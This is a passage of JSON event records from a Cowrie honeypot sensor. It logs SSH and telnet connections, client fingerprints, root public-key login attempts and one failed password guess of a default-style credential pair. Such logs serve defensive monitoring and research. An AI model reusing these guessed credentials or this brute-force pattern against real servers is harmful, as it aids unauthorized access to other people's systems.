openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:47.971849Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:cd:d7:d7:0c:d6:fb:e6:32:a9:2f:93:49:48:78:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl8qlcyvPtNjIlcQzEv+s7XtyuARUPi6YvGXDqXkVZ8FfpPZmOo/1MaRbLUNtTJIfwXMdr1MXwx4AR1ZHYWcZZK8b3YwFYibL+0IL6xWpIMjGowfL1xQN7NpZ6M5Bs6g1Kldp8wh4gNtgOpMyVgM27Hfh+HMBPmR1vfKY8dVzv40bQu08Jv+OrcXf12K3FHwpSsuxaZ3VEzPLk3+4DpadNGa/Ba6Sh1iSTJNg1zabUrPCPOxGoy6erPAawTisWJCgcPdBR/GURk6GJ4laqBX2JRW5pRN4GjTqGFFz5ybNsA0Kyl2CsWya+X9UkUJya+rgJJo6pR64shyn0ZjY6YH+ZUhXqEJz14ftBHT8XzCiDXr7Jh0ssy62y6MSllY24+6bbtk6z/UXOCOcSskjLQNxZwz0kopPAtwWI2ksPd24wtXqPPBf+DEGd2FYHgBwwNyHUasHmYqJ80Nj1KaoPWJWefzAYFFBT4EyzVw8JS4JOwBIk9B4bgxMd/ZqCO3/YU5HC/OjM3j8CiNaAGc/mdZKmQIdGqhtax9gJHi8LDjmt2IVWCN4bl/sFTgYH7BqW/mmG33WwvVJzhJh69wlATrsiX3oqBWKfpYnsJmXAZsFMTPlGY3ekNvdmi7g/d4WupqrFivx8wV2pKXBQi/VtEKVUzEVAFlwcZ8kWCXRblXBLgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:cd:d7:d7:0c:d6:fb:e6:32:a9:2f:93:49:48:78:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:48.976759Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:cd:d7:d7:0c:d6:fb:e6:32:a9:2f:93:49:48:78:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl8qlcyvPtNjIlcQzEv+s7XtyuARUPi6YvGXDqXkVZ8FfpPZmOo/1MaRbLUNtTJIfwXMdr1MXwx4AR1ZHYWcZZK8b3YwFYibL+0IL6xWpIMjGowfL1xQN7NpZ6M5Bs6g1Kldp8wh4gNtgOpMyVgM27Hfh+HMBPmR1vfKY8dVzv40bQu08Jv+OrcXf12K3FHwpSsuxaZ3VEzPLk3+4DpadNGa/Ba6Sh1iSTJNg1zabUrPCPOxGoy6erPAawTisWJCgcPdBR/GURk6GJ4laqBX2JRW5pRN4GjTqGFFz5ybNsA0Kyl2CsWya+X9UkUJya+rgJJo6pR64shyn0ZjY6YH+ZUhXqEJz14ftBHT8XzCiDXr7Jh0ssy62y6MSllY24+6bbtk6z/UXOCOcSskjLQNxZwz0kopPAtwWI2ksPd24wtXqPPBf+DEGd2FYHgBwwNyHUasHmYqJ80Nj1KaoPWJWefzAYFFBT4EyzVw8JS4JOwBIk9B4bgxMd/ZqCO3/YU5HC/OjM3j8CiNaAGc/mdZKmQIdGqhtax9gJHi8LDjmt2IVWCN4bl/sFTgYH7BqW/mmG33WwvVJzhJh69wlATrsiX3oqBWKfpYnsJmXAZsFMTPlGY3ekNvdmi7g/d4WupqrFivx8wV2pKXBQi/VtEKVUzEVAFlwcZ8kWCXRblXBLgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:48.980696Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.50640392303467,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.035236Z","src_ip":"128.199.8.54","session":"639733e11598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.064459Z","src_ip":"122.168.194.41","session":"0195ebc41dc7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:54:0e:53:43:ed:92:59:cd:f5:53:5a:31:7f:dd:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDClVjMZucO4cKTbRo72juIdkR9MHwxG1OltgYu471dyXbINMSwCAKyav/e3UCFEDN03R0Sy9Q0684TZfWPcJZLJTZJHScPqPTJUu7wFe51AHWjQ2WDhsSzVh9BfeAxRYllOwg4Fek1n61pifmrYyYgg7Uo6r0GTwF5j+cBs1QHTNXfeKPAEZf+EdU339zqO90ygUUNb4NufUgWHqjpZCkErGCEJK16Dqat4748hc9mPdBJqxwfmoqM6LFo/u2CURVIGiYQ+GO2o0OJwvka06QaGPLPqy20qomvAL42aQIx6NsTK9YpTyY9ZQAhpLDhLJevw4hzHTIEQ/evcS53tTZ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:54:0e:53:43:ed:92:59:cd:f5:53:5a:31:7f:dd:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.197321Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:54:0e:53:43:ed:92:59:cd:f5:53:5a:31:7f:dd:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDClVjMZucO4cKTbRo72juIdkR9MHwxG1OltgYu471dyXbINMSwCAKyav/e3UCFEDN03R0Sy9Q0684TZfWPcJZLJTZJHScPqPTJUu7wFe51AHWjQ2WDhsSzVh9BfeAxRYllOwg4Fek1n61pifmrYyYgg7Uo6r0GTwF5j+cBs1QHTNXfeKPAEZf+EdU339zqO90ygUUNb4NufUgWHqjpZCkErGCEJK16Dqat4748hc9mPdBJqxwfmoqM6LFo/u2CURVIGiYQ+GO2o0OJwvka06QaGPLPqy20qomvAL42aQIx6NsTK9YpTyY9ZQAhpLDhLJevw4hzHTIEQ/evcS53tTZ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.200628Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:1d:52:3c:10:2e:fc:5f:f4:a2:1c:95:34:a8:32:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDNQZVhpeH/d9AZH1XYAmnprF8/cceqjF4+Ec6jdf02D/badEYzmHZUEgQNS7BKJkoG9b663mdZ7NzGgc9kMjxtv12vPF4nMgzDybWG2e/16dDYgdtAGxYXMyutHKK3PA50qTSN6JmnVYanGInzhP54MFT0u1A+AvTyjFqUKFR4e33PhvBVjOzvpp7/1cDz3qJLcN/TAmW1U6fUgkQ+VIJsRQ/dPGwCdMXuortsVjjrPui+VgtQMATf3nYIFhBc2f5zBQgGVnTs2FZc9zO5qnTEbTJaw0YP2KoCZNPQi+9jGtza9C5kcybmzcUoz+tEm2rYTMn3bfrLqp2v6CCFm1mJdaZ7KyHJY9bOSxBkIlt1X/ZDm7uFx1yplrxX1tDkgQyxX3pSIw5iscXCcxrzDlliAOhLn14W8KNAjGq/HongXGe9cVflBWDqLXX6fRDkf0uUZDZSd0iKEiSZHvScp7a5YJu3bAlxPuVI2+3UNxGwsH2L7nPBT7VDZZ4y9qxw0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:1d:52:3c:10:2e:fc:5f:f4:a2:1c:95:34:a8:32:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.406715Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:1d:52:3c:10:2e:fc:5f:f4:a2:1c:95:34:a8:32:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDNQZVhpeH/d9AZH1XYAmnprF8/cceqjF4+Ec6jdf02D/badEYzmHZUEgQNS7BKJkoG9b663mdZ7NzGgc9kMjxtv12vPF4nMgzDybWG2e/16dDYgdtAGxYXMyutHKK3PA50qTSN6JmnVYanGInzhP54MFT0u1A+AvTyjFqUKFR4e33PhvBVjOzvpp7/1cDz3qJLcN/TAmW1U6fUgkQ+VIJsRQ/dPGwCdMXuortsVjjrPui+VgtQMATf3nYIFhBc2f5zBQgGVnTs2FZc9zO5qnTEbTJaw0YP2KoCZNPQi+9jGtza9C5kcybmzcUoz+tEm2rYTMn3bfrLqp2v6CCFm1mJdaZ7KyHJY9bOSxBkIlt1X/ZDm7uFx1yplrxX1tDkgQyxX3pSIw5iscXCcxrzDlliAOhLn14W8KNAjGq/HongXGe9cVflBWDqLXX6fRDkf0uUZDZSd0iKEiSZHvScp7a5YJu3bAlxPuVI2+3UNxGwsH2L7nPBT7VDZZ4y9qxw0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.411146Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:e3:d0:d5:99:05:58:cc:75:68:15:bb:32:da:23:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCRcmHAZhUjM5tgEUV0cGs9PqxMdB7+sdDq2+4+vxemuJghmh2jwrjdn+AvsgVJqvC7nNOXPGxn69f4HOJlLyKBK69ehVvyKFslBVzNNHJvdKlwuYdEpkXEP6VhOZwxxd1xJ0EDoVmdh7fnyrYeqsBfATceLYLNJh3paxVtj8JR6g7oq0jH9/y5gr3DSTo9kcfiKNNZjWLacyaso8bqYIZAc+o9oog3u8gRfh91ZC+Gzqwg4xeGvgOAB6liFaBlfvXDlrg+s93n5ISvJFnS2sscFMRLnHL44Wrn7/UhMuyteB7U9B6t0x4Qn0BIcuhn2p3B3gKGEjZ3KJ7/s14fvNv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:e3:d0:d5:99:05:58:cc:75:68:15:bb:32:da:23:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.617063Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:e3:d0:d5:99:05:58:cc:75:68:15:bb:32:da:23:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCRcmHAZhUjM5tgEUV0cGs9PqxMdB7+sdDq2+4+vxemuJghmh2jwrjdn+AvsgVJqvC7nNOXPGxn69f4HOJlLyKBK69ehVvyKFslBVzNNHJvdKlwuYdEpkXEP6VhOZwxxd1xJ0EDoVmdh7fnyrYeqsBfATceLYLNJh3paxVtj8JR6g7oq0jH9/y5gr3DSTo9kcfiKNNZjWLacyaso8bqYIZAc+o9oog3u8gRfh91ZC+Gzqwg4xeGvgOAB6liFaBlfvXDlrg+s93n5ISvJFnS2sscFMRLnHL44Wrn7/UhMuyteB7U9B6t0x4Qn0BIcuhn2p3B3gKGEjZ3KJ7/s14fvNv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.620538Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:20:e0:e4:49:95:7b:63:b2:b9:15:09:a1:b5:95:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMSH3ZhjF0W8H9trQdV1BrWRhM6AQQHW/FhH0p6o8guOwqocCbBS/lHLCrvX+CXiUxmBRdD8UBuoUCkRHzQe/Yg4LuoOjba3zNnV9KS/6UVbMdnyPScvFl6is4/7+CNEaIsN9txmJe3JoK0Pg9ki+hic4Tdh012h9tP/6y6peuqpAAAAFQCVErNzWWjhSIT3VOV70F8nuYdBMQAAAIA0zE8pMNS5AbUKngZD5qTwA7OLfFHnF/9w0MBRtRyvjad8hKRWbtr95Yngw6zd0gSjOrGjRUwZIb2M5424EquOIZRwBvlFMbrv5s4HSLCj2CxGQjZPzyhqOcoGNBgzEs9RjqIfSF75yHgXmowjNjUHLXYpycW+sbDfXeqCR/NK/QAAAIAxeU6p80whVQESpYpKCkKXlSaHrfY3ViAREDYC6Y4tFK6qaNkjmYJkYvBR1jEJQGXI+4SeaTEFE7H1Q3vkNiCkOCyny4bWCNU2fmearaRSHfxjdCZl0xpQ1NffQMc2esNmy3CHpdan9xi/a9Wpu35Hk7kiyxz21XSct1FCcjuAog==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4a:20:e0:e4:49:95:7b:63:b2:b9:15:09:a1:b5:95:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.826053Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:20:e0:e4:49:95:7b:63:b2:b9:15:09:a1:b5:95:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMSH3ZhjF0W8H9trQdV1BrWRhM6AQQHW/FhH0p6o8guOwqocCbBS/lHLCrvX+CXiUxmBRdD8UBuoUCkRHzQe/Yg4LuoOjba3zNnV9KS/6UVbMdnyPScvFl6is4/7+CNEaIsN9txmJe3JoK0Pg9ki+hic4Tdh012h9tP/6y6peuqpAAAAFQCVErNzWWjhSIT3VOV70F8nuYdBMQAAAIA0zE8pMNS5AbUKngZD5qTwA7OLfFHnF/9w0MBRtRyvjad8hKRWbtr95Yngw6zd0gSjOrGjRUwZIb2M5424EquOIZRwBvlFMbrv5s4HSLCj2CxGQjZPzyhqOcoGNBgzEs9RjqIfSF75yHgXmowjNjUHLXYpycW+sbDfXeqCR/NK/QAAAIAxeU6p80whVQESpYpKCkKXlSaHrfY3ViAREDYC6Y4tFK6qaNkjmYJkYvBR1jEJQGXI+4SeaTEFE7H1Q3vkNiCkOCyny4bWCNU2fmearaRSHfxjdCZl0xpQ1NffQMc2esNmy3CHpdan9xi/a9Wpu35Hk7kiyxz21XSct1FCcjuAog==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:49.829573Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:50.038735Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.134.94.69","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20e7487e78c","protocol":"telnet","message":"New connection: 220.134.94.69:56246 (159.203.135.109:23) [session: a20e7487e78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:59.307855Z"}
{"eventid":"cowrie.session.closed","duration":33.0511269569397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:10.107419Z","src_ip":"128.199.8.54","session":"588ab395d648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90329360961914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:11.486516Z","src_ip":"128.199.8.54","session":"91bfb9c7d33c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80385756492615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:18.308225Z","src_ip":"128.199.8.54","session":"b01002a12e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38302,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b92fe89bdb","protocol":"telnet","message":"New connection: 128.199.8.54:38302 (159.203.135.109:23) [session: 57b92fe89bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:25.322216Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43420,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb66aa70dd6","protocol":"telnet","message":"New connection: 128.199.8.54:43420 (159.203.135.109:23) [session: bbb66aa70dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:28.909861Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47150,"dst_ip":"159.203.135.109","dst_port":23,"session":"9404ba02acb4","protocol":"telnet","message":"New connection: 128.199.8.54:47150 (159.203.135.109:23) [session: 9404ba02acb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:29.803862Z"}
{"eventid":"cowrie.session.closed","duration":30.576328992843628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:29.884041Z","src_ip":"220.134.94.69","session":"a20e7487e78c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41214,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c7ce1cac80","protocol":"telnet","message":"New connection: 128.199.8.54:41214 (159.203.135.109:23) [session: 33c7ce1cac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:41.033282Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"7900f5d1d231","protocol":"ssh","message":"New connection: 122.168.194.41:52498 (159.203.135.109:22) [session: 7900f5d1d231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:42.707784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:42.713090Z","src_ip":"122.168.194.41","session":"7900f5d1d231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:42.996516Z","src_ip":"122.168.194.41","session":"7900f5d1d231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41068,"dst_ip":"159.203.135.109","dst_port":23,"session":"c867ae20f3d2","protocol":"telnet","message":"New connection: 128.199.8.54:41068 (159.203.135.109:23) [session: c867ae20f3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:43.958567Z"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver","message":"login attempt [arkserver/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:44.121866Z","src_ip":"122.168.194.41","session":"7900f5d1d231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:45.399633Z","src_ip":"122.168.194.41","session":"7900f5d1d231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34664,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e8724e7c5c","protocol":"telnet","message":"New connection: 128.199.8.54:34664 (159.203.135.109:23) [session: 48e8724e7c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:55.131447Z"}
{"eventid":"cowrie.session.closed","duration":120.00357007980347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:58.184550Z","src_ip":"212.55.149.117","session":"2676b7931580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11546,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b3ad5d7f7b","protocol":"telnet","message":"New connection: 212.55.149.117:11546 (10.17.0.5:23) [session: c3b3ad5d7f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:32:58.598745Z"}
{"eventid":"cowrie.session.closed","duration":35.08819818496704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:00.410306Z","src_ip":"128.199.8.54","session":"57b92fe89bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56808090209961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:00.477814Z","src_ip":"128.199.8.54","session":"bbb66aa70dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.153305530548096,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:03.957088Z","src_ip":"128.199.8.54","session":"9404ba02acb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33312,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8c73f10b9ec","protocol":"telnet","message":"New connection: 128.199.8.54:33312 (159.203.135.109:23) [session: b8c73f10b9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:05.663800Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b09d44ad2d9","protocol":"telnet","message":"New connection: 128.199.8.54:36612 (159.203.135.109:23) [session: 9b09d44ad2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:07.347203Z"}
{"eventid":"cowrie.session.closed","duration":33.291738748550415,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:14.324844Z","src_ip":"128.199.8.54","session":"33c7ce1cac80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"c949fdd04c02","protocol":"telnet","message":"New connection: 128.199.8.54:51824 (159.203.135.109:23) [session: c949fdd04c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:16.087029Z"}
{"eventid":"cowrie.session.closed","duration":33.92389392852783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:17.882368Z","src_ip":"128.199.8.54","session":"c867ae20f3d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.937188386917114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:28.068519Z","src_ip":"128.199.8.54","session":"48e8724e7c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63075b27a14","protocol":"telnet","message":"New connection: 128.199.8.54:35980 (159.203.135.109:23) [session: c63075b27a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:28.454041Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfc35a04bd3","protocol":"telnet","message":"New connection: 128.199.8.54:54756 (159.203.135.109:23) [session: 2bfc35a04bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:30.343482Z"}
{"eventid":"cowrie.session.closed","duration":34.1086220741272,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:39.772309Z","src_ip":"128.199.8.54","session":"b8c73f10b9ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":60796,"dst_ip":"159.203.135.109","dst_port":22,"session":"65e24becf133","protocol":"ssh","message":"New connection: 122.168.194.41:60796 (159.203.135.109:22) [session: 65e24becf133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:40.524569Z"}
